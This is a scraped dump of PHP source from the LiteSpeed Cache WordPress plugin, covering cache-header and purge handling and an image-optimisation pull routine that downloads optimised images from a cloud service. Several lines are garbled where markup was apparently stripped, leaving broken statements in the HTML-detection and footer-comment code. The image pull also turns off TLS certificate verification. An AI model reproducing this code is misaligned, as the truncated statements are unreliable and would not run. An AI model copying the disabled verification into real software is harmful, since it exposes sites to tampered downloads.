} if ( defined( 'LITESPEED_DISABLE_ALL' ) && LITESPEED_DISABLE_ALL ) { Debug2::debug( '[Core] Bypassed due to debug disable all setting' ); return; } do_action( 'litespeed_initing' ); ob_start( [ $this, 'send_headers_force' ] ); add_action( 'shutdown', [ $this, 'send_headers' ], 0 ); add_action( 'wp_footer', [ $this, 'footer_hook' ] ); /** * Check if is non-optimization simulator * * @since 2.9 */ // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! empty( $_GET[ Router::ACTION ] ) && 'before_optm' === $_GET[ Router::ACTION ] && ! apply_filters( 'litespeed_qs_forbidden', false ) ) { Debug2::debug( '[Core] ⛑️ bypass_optm due to QS CTRL' ); ! defined( 'LITESPEED_NO_OPTM' ) && define( 'LITESPEED_NO_OPTM', true ); } /** * Register vary filter * * @since 1.6.2 */ $this->cls( 'Control' )->init(); // Init Purge hooks $this->cls( 'Purge' )->init(); $this->cls( 'Tag' )->init(); // Load hooks that may be related to users add_action( 'init', [ $this, 'after_user_init' ], 5 ); // Load 3rd party hooks add_action( 'wp_loaded', [ $this, 'load_thirdparty' ], 2 ); } /** * Run hooks after user init * * @since 2.9.8 */ public function after_user_init() { $this->cls( 'Router' )->is_role_simulation(); // Detect if is Guest mode or not $this->cls( 'Vary' )->after_user_init(); // Register attachment delete hook $this->cls( 'Media' )->after_user_init(); /** * Preload ESI functionality for ESI request URI recovery * * @since 1.8.1 * @since 4.0 ESI init needs to be after Guest mode detection to bypass ESI if is under Guest mode */ $this->cls( 'ESI' )->init(); if ( ! is_admin() && ! defined( 'LITESPEED_GUEST_OPTM' ) ) { $result = $this->cls( 'Conf' )->in_optm_exc_roles(); if ( $result ) { Debug2::debug( '[Core] ⛑️ bypass_optm: hit Role Excludes setting: ' . $result ); ! defined( 'LITESPEED_NO_OPTM' ) && define( 'LITESPEED_NO_OPTM', true ); } } // Heartbeat control $this->cls( 'Tool' )->heartbeat(); if ( ! defined( 'LITESPEED_NO_OPTM' ) || ! LITESPEED_NO_OPTM ) { // Check missing static files $this->cls( 'Router' )->serve_static(); $this->cls( 'Media' )->init(); $this->cls( 'Placeholder' )->init(); $this->cls( 'Router' )->can_optm() && $this->cls( 'Optimize' )->init(); $this->cls( 'Localization' )->init(); // Hook CDN for attachments $this->cls( 'CDN' )->init(); // Load cron tasks $this->cls( 'Task' )->init(); } // Load litespeed actions $action = Router::get_action(); if ( $action ) { $this->proceed_action( $action ); } // Load frontend GUI if ( ! is_admin() ) { $this->cls( 'GUI' )->init(); } } /** * Run frontend actions * * @since 1.1.0 * @param string $action The action to proceed. */ public function proceed_action( $action ) { $msg = false; // Handle actions switch ( $action ) { case self::ACTION_QS_SHOW_HEADERS: self::$debug_show_header = true; break; case self::ACTION_QS_PURGE: case self::ACTION_QS_PURGE_SINGLE: Purge::set_purge_single(); break; case self::ACTION_QS_PURGE_ALL: Purge::purge_all(); break; case self::ACTION_PURGE_EMPTYCACHE: case self::ACTION_QS_PURGE_EMPTYCACHE: define( 'LSWCP_EMPTYCACHE', true ); // Clear all sites caches Purge::purge_all(); $msg = __( 'Notified LiteSpeed Web Server to purge everything.', 'litespeed-cache' ); break; case self::ACTION_PURGE_BY: $this->cls( 'Purge' )->purge_list(); $msg = __( 'Notified LiteSpeed Web Server to purge the list.', 'litespeed-cache' ); break; case self::ACTION_DISMISS: GUI::dismiss(); break; default: $msg = $this->cls( 'Router' )->handler( $action ); break; } if ( $msg && ! Router::is_ajax() ) { Admin_Display::add_notice( Admin_Display::NOTICE_GREEN, $msg ); Admin::redirect(); return; } if ( Router::is_ajax() ) { exit(); } } /** * Callback used to call the detect third party action. * * The detect action is used by third party plugin integration classes to determine if they should add the rest of their hooks. * * @since 1.0.5 */ public function load_thirdparty() { do_action( 'litespeed_load_thirdparty' ); } /** * Mark wp_footer called * * @since 1.3 */ public function footer_hook() { Debug2::debug( '[Core] Footer hook called' ); if ( ! defined( 'LITESPEED_FOOTER_CALLED' ) ) { define( 'LITESPEED_FOOTER_CALLED', true ); } } /** * Trigger comment info display hook * * @since 1.3 * @param string|null $buffer The buffer to check. * @return void */ private function check_is_html( $buffer = null ) { if ( ! defined( 'LITESPEED_FOOTER_CALLED' ) ) { Debug2::debug2( '[Core] CHK html bypass: miss footer const' ); return; } if ( wp_doing_ajax() ) { Debug2::debug2( '[Core] CHK html bypass: doing ajax' ); return; } if ( wp_doing_cron() ) { Debug2::debug2( '[Core] CHK html bypass: doing cron' ); return; } if ( empty( $_SERVER['REQUEST_METHOD'] ) || 'GET' !== $_SERVER['REQUEST_METHOD'] ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized Debug2::debug2( '[Core] CHK html bypass: not get method ' . wp_unslash( $_SERVER['REQUEST_METHOD'] ) ); return; } if ( null === $buffer ) { $buffer = ob_get_contents(); } // Double check to make sure it is an HTML file if ( strlen( $buffer ) > 300 ) { $buffer = substr( $buffer, 0, 300 ); } if ( false !== strstr( $buffer, '/s', '', $buffer ); } $buffer = trim( $buffer ); $buffer = File::remove_zero_space( $buffer ); $is_html = 0 === stripos( $buffer, 'check_is_html( $buffer ); // Hook to modify buffer before $buffer = apply_filters( 'litespeed_buffer_before', $buffer ); /** * Media: Image lazyload && WebP * GUI: Clean wrapper mainly for ESI block NOTE: this needs to be before optimizer to avoid wrapper being removed * Optimize * CDN */ if ( ! defined( 'LITESPEED_NO_OPTM' ) || ! LITESPEED_NO_OPTM ) { Debug2::debug( '[Core] run hook litespeed_buffer_finalize' ); $buffer = apply_filters( 'litespeed_buffer_finalize', $buffer ); } /** * Replace ESI preserved list * * @since 3.3 Replace this in the end to avoid `Inline JS Defer` or other Page Optm features encoded ESI tags wrongly, which caused LSWS can't recognize ESI */ $buffer = $this->cls( 'ESI' )->finalize( $buffer ); $this->send_headers( true ); // Log ESI nonce buffer empty issue if ( defined( 'LSCACHE_IS_ESI' ) && 0 === strlen( $buffer ) && ! empty( $_SERVER['REQUEST_URI'] ) ) { // Log ref for debug purpose // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.PHP.DevelopmentFunctions.error_log_error_log error_log( 'ESI buffer empty ' . wp_unslash( $_SERVER['REQUEST_URI'] ) ); } // Init comment info $running_info_showing = defined( 'LITESPEED_IS_HTML' ) || defined( 'LSCACHE_IS_ESI' ); if ( defined( 'LSCACHE_ESI_SILENCE' ) ) { $running_info_showing = false; Debug2::debug( '[Core] ESI silence' ); } /** * Silence comment for JSON request * * @since 2.9.3 */ if ( REST::cls()->is_rest() || Router::is_ajax() ) { $running_info_showing = false; Debug2::debug( '[Core] Silence Comment due to REST/AJAX' ); } $running_info_showing = apply_filters( 'litespeed_comment', $running_info_showing ); if ( $running_info_showing && $this->footer_comment ) { $buffer .= $this->footer_comment; } /** * If ESI request is JSON, give the content JSON format * * @since 2.9.3 * @since 2.9.4 ESI request could be from internal REST call, so moved json_encode out of this condition */ if ( defined( 'LSCACHE_IS_ESI' ) ) { Debug2::debug( '[Core] ESI Start 👇' ); if ( strlen( $buffer ) > 500 ) { Debug2::debug( trim( substr( $buffer, 0, 500 ) ) . '.....' ); } else { Debug2::debug( $buffer ); } Debug2::debug( '[Core] ESI End 👆' ); } if ( apply_filters( 'litespeed_is_json', false ) ) { if ( null === \json_decode( $buffer, true ) ) { Debug2::debug( '[Core] Buffer converting to JSON' ); $buffer = wp_json_encode( $buffer ); $buffer = trim( $buffer, '"' ); } else { Debug2::debug( '[Core] JSON Buffer' ); } } // Hook to modify buffer after $buffer = apply_filters( 'litespeed_buffer_after', $buffer ); Debug2::ended(); return $buffer; } /** * Sends the headers out at the end of processing the request. * * This will send out all LiteSpeed Cache related response headers needed for the post. * * @since 1.0.5 * @param bool $is_forced If the header is sent following our normal finalizing logic. */ public function send_headers( $is_forced = false ) { // Make sure header output only runs once if ( defined( 'LITESPEED_DID_' . __FUNCTION__ ) ) { return; } define( 'LITESPEED_DID_' . __FUNCTION__, true ); // Avoid PHP warning for headers sent out already if ( headers_sent() ) { self::debug( '❌ !!! Err: Header sent out already' ); return; } $this->check_is_html(); // Cache control output needs to be done first, as some varies are added in 3rd party hook `litespeed_api_control`. $this->cls( 'Control' )->finalize(); $vary_header = $this->cls( 'Vary' )->finalize(); // If not cacheable but Admin QS is `purge` or `purgesingle`, `tag` still needs to be generated $tag_header = $this->cls( 'Tag' )->output(); if ( ! $tag_header && Control::is_cacheable() ) { Control::set_nocache( 'empty tag header' ); } // `Purge` output needs to be after `tag` output as Admin QS may need to send `tag` header $purge_header = Purge::output(); // Generate `control` header in the end in case control status is changed by other headers $control_header = $this->cls( 'Control' )->output(); // Give one more break to avoid Firefox crash if ( ! defined( 'LSCACHE_IS_ESI' ) ) { $this->footer_comment .= "\n"; } $cache_support = 'supported'; if ( defined( 'LITESPEED_ON' ) ) { $cache_support = Control::is_cacheable() ? 'cached' : 'uncached'; } $this->comment( sprintf( '%1$s %2$s by LiteSpeed Cache %4$s on %3$s', defined( 'LSCACHE_IS_ESI' ) ? 'Block' : 'Page', $cache_support, gmdate( 'Y-m-d H:i:s', time() + LITESPEED_TIME_OFFSET ), self::VER ) ); // Send Control header if ( defined( 'LITESPEED_ON' ) && $control_header ) { $this->http_header( $control_header ); if ( ! Control::is_cacheable() && !is_admin() ) { $ori_wp_header = wp_get_nocache_headers(); if ( isset( $ori_wp_header['Cache-Control'] ) ) { $this->http_header( 'Cache-Control: ' . $ori_wp_header['Cache-Control'] ); // @ref: https://github.com/litespeedtech/lscache_wp/issues/889 } } if ( defined( 'LSCWP_LOG' ) ) { $this->comment( $control_header ); } } // Send PURGE header (Always send regardless of cache setting disabled/enabled) if ( defined( 'LITESPEED_ON' ) && $purge_header ) { $this->http_header( $purge_header ); Debug2::log_purge( $purge_header ); if ( defined( 'LSCWP_LOG' ) ) { $this->comment( $purge_header ); } } // Send Vary header if ( defined( 'LITESPEED_ON' ) && $vary_header ) { $this->http_header( $vary_header ); if ( defined( 'LSCWP_LOG' ) ) { $this->comment( $vary_header ); } } if ( defined( 'LITESPEED_ON' ) && defined( 'LSCWP_LOG' ) ) { $vary = $this->cls( 'Vary' )->finalize_full_varies(); if ( $vary ) { $this->comment( 'Full varies: ' . $vary ); } } // Admin QS show header action if ( self::$debug_show_header ) { $debug_header = self::HEADER_DEBUG . ': '; if ( $control_header ) { $debug_header .= $control_header . '; '; } if ( $purge_header ) { $debug_header .= $purge_header . '; '; } if ( $tag_header ) { $debug_header .= $tag_header . '; '; } if ( $vary_header ) { $debug_header .= $vary_header . '; '; } $this->http_header( $debug_header ); } elseif ( defined( 'LITESPEED_ON' ) && Control::is_cacheable() && $tag_header ) { $this->http_header( $tag_header ); if ( defined( 'LSCWP_LOG' ) ) { $this->comment( $tag_header ); } } // Object cache comment if ( defined( 'LSCWP_LOG' ) && defined( 'LSCWP_OBJECT_CACHE' ) && method_exists( 'WP_Object_Cache', 'debug' ) ) { $this->comment( 'Object Cache ' . \WP_Object_Cache::get_instance()->debug() ); } if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { $this->comment( 'Guest Mode' ); } if ( ! empty( $this->footer_comment ) ) { self::debug( "[footer comment]\n" . trim( $this->footer_comment ) ); } if ( $is_forced ) { Debug2::debug( '--forced--' ); } // If CLI and contains Purge Header, issue an HTTP request to Purge if ( defined( 'LITESPEED_CLI' ) ) { $purge_queue = Purge::get_option( Purge::DB_QUEUE ); if ( ! $purge_queue || '-1' === $purge_queue ) { $purge_queue = Purge::get_option( Purge::DB_QUEUE2 ); } if ( $purge_queue && '-1' !== $purge_queue ) { self::debug( '[Core] Purge Queue found, issue an HTTP request to purge: ' . $purge_queue ); // Kick off HTTP request $url = admin_url( 'admin-ajax.php' ); $resp = wp_safe_remote_get( $url ); if ( is_wp_error( $resp ) ) { $error_message = $resp->get_error_message(); self::debug( '[URL]' . $url ); self::debug( 'failed to request: ' . $error_message ); } else { self::debug( 'HTTP request response: ' . $resp['body'] ); } } } } /** * Append one HTML comment * * @since 5.5 * @param string $data The comment data. */ public static function comment( $data ) { self::cls()->append_comment( $data ); } /** * Append one HTML comment * * @since 5.5 * @param string $data The comment data. */ private function append_comment( $data ) { $this->footer_comment .= "\n'; } /** * Send HTTP header * * @since 5.3 * @param string $header The header to send. */ private function http_header( $header ) { if ( defined( 'LITESPEED_CLI' ) ) { return; } if ( ! headers_sent() ) { header( $header ); } if ( ! defined( 'LSCWP_LOG' ) ) { return; } Debug2::debug( '💰 ' . $header ); } } img-optm-pull.trait.php000064400000054150152077520260011115 0ustar00_summary['notify_ts_err'] ) && time() - $this->_summary['notify_ts_err'] < 3 ) { return Cloud::err( 'too_often' ); } $post_data = \json_decode( file_get_contents( 'php://input' ), true ); if ( is_null( $post_data ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = $_POST; } global $wpdb; $notified_data = $post_data['data']; if ( empty( $notified_data ) || ! is_array( $notified_data ) ) { self::debug( '❌ notify exit: no notified data' ); return Cloud::err( 'no notified data' ); } if ( empty( $post_data['server'] ) || ( substr( $post_data['server'], -11 ) !== '.quic.cloud' && substr( $post_data['server'], -15 ) !== '.quicserver.com' ) ) { self::debug( 'notify exit: no/wrong server' ); return Cloud::err( 'no/wrong server' ); } if ( empty( $post_data['status'] ) ) { self::debug( 'notify missing status' ); return Cloud::err( 'no status' ); } $status = $post_data['status']; self::debug( 'notified status=' . $status ); $last_log_pid = 0; if ( empty( $this->_summary['reduced'] ) ) { $this->_summary['reduced'] = 0; } if ( self::STATUS_NOTIFIED === $status ) { // Notified data format: [ img_optm_id => [ id=>, src_size=>, ori=>, ori_md5=>, ori_reduced=>, webp=>, webp_md5=>, webp_reduced=> ] ] $q = "SELECT a.*, b.meta_id as b_meta_id, b.meta_value AS b_optm_info FROM `$this->_table_img_optming` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.post_id AND b.meta_key = %s WHERE a.id IN ( " . implode( ',', array_fill( 0, count( $notified_data ), '%d' ) ) . ' )'; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, array_merge( [ self::DB_SIZE ], array_keys( $notified_data ) ) ) ); $ls_optm_size_row_exists_postids = []; foreach ( $list as $v ) { $json = $notified_data[ $v->id ]; // self::debug('Notified data for [id] ' . $v->id, $json); $server = ! empty( $json['server'] ) ? $json['server'] : $post_data['server']; $server_info = [ 'server' => $server, ]; // Save server side ID to send taken notification after pulled $server_info['id'] = $json['id']; if ( ! empty( $json['file_id'] ) ) { $server_info['file_id'] = $json['file_id']; } // Optm info array $postmeta_info = [ 'ori_total' => 0, 'ori_saved' => 0, 'webp_total' => 0, 'webp_saved' => 0, 'avif_total' => 0, 'avif_saved' => 0, ]; // Init postmeta_info for the first one if ( ! empty( $v->b_meta_id ) ) { foreach ( maybe_unserialize( $v->b_optm_info ) as $k2 => $v2 ) { $postmeta_info[ $k2 ] += $v2; } } if ( ! empty( $json['ori'] ) ) { $server_info['ori_md5'] = $json['ori_md5']; $server_info['ori'] = $json['ori']; // Append meta info $postmeta_info['ori_total'] += $json['src_size']; $postmeta_info['ori_saved'] += $json['ori_reduced']; // optimized image size info in img_optm tb will be updated when pull $this->_summary['reduced'] += $json['ori_reduced']; } if ( ! empty( $json['webp'] ) ) { $server_info['webp_md5'] = $json['webp_md5']; $server_info['webp'] = $json['webp']; // Append meta info $postmeta_info['webp_total'] += $json['src_size']; $postmeta_info['webp_saved'] += $json['webp_reduced']; $this->_summary['reduced'] += $json['webp_reduced']; } if ( ! empty( $json['avif'] ) ) { $server_info['avif_md5'] = $json['avif_md5']; $server_info['avif'] = $json['avif']; // Append meta info $postmeta_info['avif_total'] += $json['src_size']; $postmeta_info['avif_saved'] += $json['avif_reduced']; $this->_summary['reduced'] += $json['avif_reduced']; } // Update status and data in working table $q = "UPDATE `$this->_table_img_optming` SET optm_status = %d, server_info = %s WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ $status, wp_json_encode( $server_info ), $v->id ] ) ); // Update postmeta for optm summary // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize $postmeta_info = serialize( $postmeta_info ); if ( empty( $v->b_meta_id ) && ! in_array( $v->post_id, $ls_optm_size_row_exists_postids, true ) ) { self::debug( 'New size info [pid] ' . $v->post_id ); $q = "INSERT INTO `$wpdb->postmeta` ( post_id, meta_key, meta_value ) VALUES ( %d, %s, %s )"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ $v->post_id, self::DB_SIZE, $postmeta_info ] ) ); $ls_optm_size_row_exists_postids[] = $v->post_id; } else { $q = "UPDATE `$wpdb->postmeta` SET meta_value = %s WHERE meta_id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ $postmeta_info, $v->b_meta_id ] ) ); } // write log $pid_log = $last_log_pid === $v->post_id ? '.' : $v->post_id; self::debug( 'notify_img [status] ' . $status . " \t\t[pid] " . $pid_log . " \t\t[id] " . $v->id ); $last_log_pid = $v->post_id; } self::save_summary(); // Mark need_pull tag for cron self::update_option( self::DB_NEED_PULL, self::STATUS_NOTIFIED ); } else { // Other errors will directly remove the working records // Delete from working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id IN ( " . implode( ',', array_fill( 0, count( $notified_data ), '%d' ) ) . ' ) '; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $notified_data ) ); } return Cloud::ok( [ 'count' => count( $notified_data ) ] ); } /** * Cron start async req * * @since 5.5 */ public static function start_async_cron() { Task::async_call( 'imgoptm' ); } /** * Manually start async req * * @since 5.5 */ public static function start_async() { Task::async_call( 'imgoptm_force' ); $msg = __( 'Started async image optimization request', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Check if need to pull or not * * @since 7.2 * @return bool True if need to pull. */ public static function need_pull() { $tag = (int) self::get_option( self::DB_NEED_PULL ); if ( ! $tag || self::STATUS_NOTIFIED !== $tag ) { return false; } return true; } /** * Ajax req handler * * @since 5.5 * @param bool $force Whether to force pull. */ public static function async_handler( $force = false ) { self::debug( '------------async-------------start_async_handler' ); if ( ! self::need_pull() ) { self::debug( '❌ no need pull' ); return; } if ( defined( 'LITESPEED_IMG_OPTM_PULL_CRON' ) && ! constant( 'LITESPEED_IMG_OPTM_PULL_CRON' ) ) { self::debug( 'Cron disabled [define] LITESPEED_IMG_OPTM_PULL_CRON' ); return; } self::cls()->pull( $force ); } /** * Calculate pull threads * * @since 5.8 * @access private * @return int Number of images per request. */ private function _calc_pull_threads() { global $wpdb; if ( defined( 'LITESPEED_IMG_OPTM_PULL_THREADS' ) ) { return constant( 'LITESPEED_IMG_OPTM_PULL_THREADS' ); } // Tune number of images per request based on number of images waiting and cloud packages $imgs_per_req = 1; // base 1, ramp up to ~50 max // Ramp up the request rate based on how many images are waiting $c = "SELECT count(id) FROM `$this->_table_img_optming` WHERE optm_status = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $_c = $wpdb->prepare( $c, [ self::STATUS_NOTIFIED ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $images_waiting = $wpdb->get_var( $_c ); if ( $images_waiting && $images_waiting > 0 ) { $imgs_per_req = ceil( $images_waiting / 1000 ); // ie. download 5/request if 5000 images are waiting } // Cap the request rate at 50 images per request $imgs_per_req = min( 50, $imgs_per_req ); self::debug( 'Pulling images at rate: ' . $imgs_per_req . ' Images per request.' ); return $imgs_per_req; } /** * Pull optimized img * * @since 1.6 * @access public * @param bool $manual Whether this is a manual pull. */ public function pull( $manual = false ) { global $wpdb; $timeout_limit = ini_get( 'max_execution_time' ); $endts = time() + $timeout_limit; self::debug( '' . ( $manual ? 'Manually' : 'Cron' ) . ' pull started [timeout: ' . $timeout_limit . 's]' ); if ( $this->cron_running() ) { self::debug( 'Pull cron is running' ); $msg = __( 'Pull Cron is running', 'litespeed-cache' ); Admin_Display::note( $msg ); return; } $this->_summary['last_pulled'] = time(); $this->_summary['last_pulled_by_cron'] = ! $manual; self::save_summary(); $imgs_per_req = $this->_calc_pull_threads(); $q = "SELECT * FROM `$this->_table_img_optming` WHERE optm_status = %d ORDER BY id LIMIT %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $_q = $wpdb->prepare( $q, [ self::STATUS_NOTIFIED, $imgs_per_req ] ); $rm_ori_bkup = $this->conf( self::O_IMG_OPTM_RM_BKUP ); $total_pulled_ori = 0; $total_pulled_webp = 0; $total_pulled_avif = 0; $server_list = []; try { // phpcs:ignore Generic.CodeAnalysis.AssignmentInCondition.FoundInWhileCondition, WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared while ( $img_rows = $wpdb->get_results( $_q ) ) { self::debug( 'timeout left: ' . ( $endts - time() ) . 's' ); if ( function_exists( 'set_time_limit' ) ) { $endts += 600; self::debug( 'Endtime extended to ' . gmdate( 'Ymd H:i:s', $endts ) ); set_time_limit( 600 ); // This will be no more important as we use noabort now } // Disabled as we use noabort // if ($endts - time() < 10) { // self::debug("🚨 End loop due to timeout limit reached " . $timeout_limit . "s"); // break; // } /** * Update cron timestamp to avoid duplicated running * * @since 1.6.2 */ $this->_update_cron_running(); // Run requests in parallel $requests = []; // store each request URL for Requests::request_multiple() $imgs_by_req = []; // store original request data so that we can reference it in the response $req_counter = 0; foreach ( $img_rows as $row_img ) { // request original image $server_info = \json_decode( $row_img->server_info, true ); if ( ! empty( $server_info['ori'] ) ) { $image_url = $server_info['server'] . '/' . $server_info['ori']; self::debug( 'Queueing pull: ' . $image_url ); $requests[ $req_counter ] = [ 'url' => $image_url, 'type' => 'GET', ]; $imgs_by_req[ $req_counter++ ] = [ 'type' => 'ori', 'data' => $row_img, ]; } // request webp image $webp_size = 0; if ( ! empty( $server_info['webp'] ) ) { $image_url = $server_info['server'] . '/' . $server_info['webp']; self::debug( 'Queueing pull WebP: ' . $image_url ); $requests[ $req_counter ] = [ 'url' => $image_url, 'type' => 'GET', ]; $imgs_by_req[ $req_counter++ ] = [ 'type' => 'webp', 'data' => $row_img, ]; } // request avif image $avif_size = 0; if ( ! empty( $server_info['avif'] ) ) { $image_url = $server_info['server'] . '/' . $server_info['avif']; self::debug( 'Queueing pull AVIF: ' . $image_url ); $requests[ $req_counter ] = [ 'url' => $image_url, 'type' => 'GET', ]; $imgs_by_req[ $req_counter++ ] = [ 'type' => 'avif', 'data' => $row_img, ]; } } self::debug( 'Loaded images count: ' . $req_counter ); $complete_action = function ( $response, $req_count ) use ( $imgs_by_req, $rm_ori_bkup, &$total_pulled_ori, &$total_pulled_webp, &$total_pulled_avif, &$server_list ) { global $wpdb; $row_data = isset( $imgs_by_req[ $req_count ] ) ? $imgs_by_req[ $req_count ] : false; if ( false === $row_data ) { self::debug( '❌ failed to pull image: Request not found in lookup variable.' ); return; } $row_type = isset( $row_data['type'] ) ? $row_data['type'] : 'ori'; $row_img = $row_data['data']; $local_file = $this->wp_upload_dir['basedir'] . '/' . $row_img->src; $server_info = \json_decode( $row_img->server_info, true ); // Handle status_code 404/5xx too as its success=true if ( empty( $response->success ) || empty( $response->status_code ) || 200 !== $response->status_code ) { self::debug( '❌ Failed to pull optimized img: HTTP error [status_code] ' . ( empty( $response->status_code ) ? 'N/A' : $response->status_code ) ); $this->_step_back_image( $row_img->id ); $msg = __( 'Some optimized image file(s) has expired and was cleared.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } if ( 'webp' === $row_type ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents file_put_contents( $local_file . '.webp', $response->body ); if ( ! file_exists( $local_file . '.webp' ) || ! filesize( $local_file . '.webp' ) || md5_file( $local_file . '.webp' ) !== $server_info['webp_md5'] ) { self::debug( '❌ Failed to pull optimized webp img: file md5 mismatch, server md5: ' . $server_info['webp_md5'] ); // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $row_img->id ) ); $msg = __( 'Pulled WebP image md5 does not match the notified WebP image md5.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } self::debug( 'Pulled optimized img WebP: ' . $local_file . '.webp' ); $webp_size = filesize( $local_file . '.webp' ); /** * API for WebP * * @since 2.9.5 * @since 3.0 $row_img less elements (see above one) * @see #751737 - API docs for WEBP generation */ do_action( 'litespeed_img_pull_webp', $row_img, $local_file . '.webp' ); ++$total_pulled_webp; } elseif ( 'avif' === $row_type ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents file_put_contents( $local_file . '.avif', $response->body ); if ( ! file_exists( $local_file . '.avif' ) || ! filesize( $local_file . '.avif' ) || md5_file( $local_file . '.avif' ) !== $server_info['avif_md5'] ) { self::debug( '❌ Failed to pull optimized avif img: file md5 mismatch, server md5: ' . $server_info['avif_md5'] ); // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $row_img->id ) ); $msg = __( 'Pulled AVIF image md5 does not match the notified AVIF image md5.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } self::debug( 'Pulled optimized img AVIF: ' . $local_file . '.avif' ); $avif_size = filesize( $local_file . '.avif' ); /** * API for AVIF * * @since 7.0 */ do_action( 'litespeed_img_pull_avif', $row_img, $local_file . '.avif' ); ++$total_pulled_avif; } else { // "ori" image type // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents file_put_contents( $local_file . '.tmp', $response->body ); if ( ! file_exists( $local_file . '.tmp' ) || ! filesize( $local_file . '.tmp' ) || md5_file( $local_file . '.tmp' ) !== $server_info['ori_md5'] ) { self::debug( '❌ Failed to pull optimized img: file md5 mismatch [url] ' . $server_info['server'] . '/' . $server_info['ori'] . ' [server_md5] ' . $server_info['ori_md5'] ); // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $row_img->id ) ); $msg = __( 'One or more pulled images does not match with the notified image md5', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } // Backup ori img if ( ! $rm_ori_bkup ) { $extension = pathinfo( $local_file, PATHINFO_EXTENSION ); $bk_file = substr( $local_file, 0, -strlen( $extension ) ) . 'bk.' . $extension; // phpcs:ignore WordPress.WP.AlternativeFunctions.rename_rename file_exists( $local_file ) && rename( $local_file, $bk_file ); } // Replace ori img // phpcs:ignore WordPress.WP.AlternativeFunctions.rename_rename rename( $local_file . '.tmp', $local_file ); self::debug( 'Pulled optimized img: ' . $local_file ); /** * API Hook * * @since 2.9.5 * @since 3.0 $row_img has less elements now. Most useful ones are `post_id`/`src` */ do_action( 'litespeed_img_pull_ori', $row_img, $local_file ); self::debug2( 'Remove _table_img_optming record [id] ' . $row_img->id ); } // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $row_img->id ) ); // Save server_list to notify taken if ( empty( $server_list[ $server_info['server'] ] ) ) { $server_list[ $server_info['server'] ] = []; } $server_info_id = ! empty( $server_info['file_id'] ) ? $server_info['file_id'] : $server_info['id']; $server_list[ $server_info['server'] ][] = $server_info_id; ++$total_pulled_ori; }; $force_wp_remote_get = defined( 'LITESPEED_FORCE_WP_REMOTE_GET' ) && constant( 'LITESPEED_FORCE_WP_REMOTE_GET' ); if ( ! $force_wp_remote_get && class_exists( '\WpOrg\Requests\Requests' ) && class_exists( '\WpOrg\Requests\Autoload' ) ) { // Make sure Requests can load internal classes. Autoload::register(); // Run pull requests in parallel Requests::request_multiple( $requests, [ 'timeout' => 60, 'connect_timeout' => 60, 'complete' => $complete_action, 'verify' => false, 'verifyname' => false, ] ); } else { foreach ( $requests as $cnt => $req ) { $wp_response = wp_safe_remote_get( $req['url'], [ 'timeout' => 60 ] ); $request_response = [ 'success' => false, 'status_code' => 0, 'body' => null, 'sslverify' => false, ]; if ( is_wp_error( $wp_response ) ) { $error_message = $wp_response->get_error_message(); self::debug( '❌ failed to pull image: ' . $error_message ); } else { $request_response['success'] = true; $request_response['status_code'] = $wp_response['response']['code']; $request_response['body'] = $wp_response['body']; } self::debug( 'response code [code] ' . $wp_response['response']['code'] . ' [url] ' . $req['url'] ); $request_response = (object) $request_response; $complete_action( $request_response, $cnt ); } } self::debug( 'Current batch pull finished' ); } } catch ( \Exception $e ) { Admin_Display::error( 'Image pull process failure: ' . $e->getMessage() ); } // Notify IAPI images taken foreach ( $server_list as $server => $img_list ) { $data = [ 'action' => self::CLOUD_ACTION_TAKEN, 'list' => $img_list, 'server' => $server, ]; // TODO: improve this so we do not call once per server, but just once and then filter on the server side Cloud::post( Cloud::SVC_IMG_OPTM, $data ); } if ( empty( $this->_summary['img_taken'] ) ) { $this->_summary['img_taken'] = 0; } $this->_summary['img_taken'] += $total_pulled_ori + 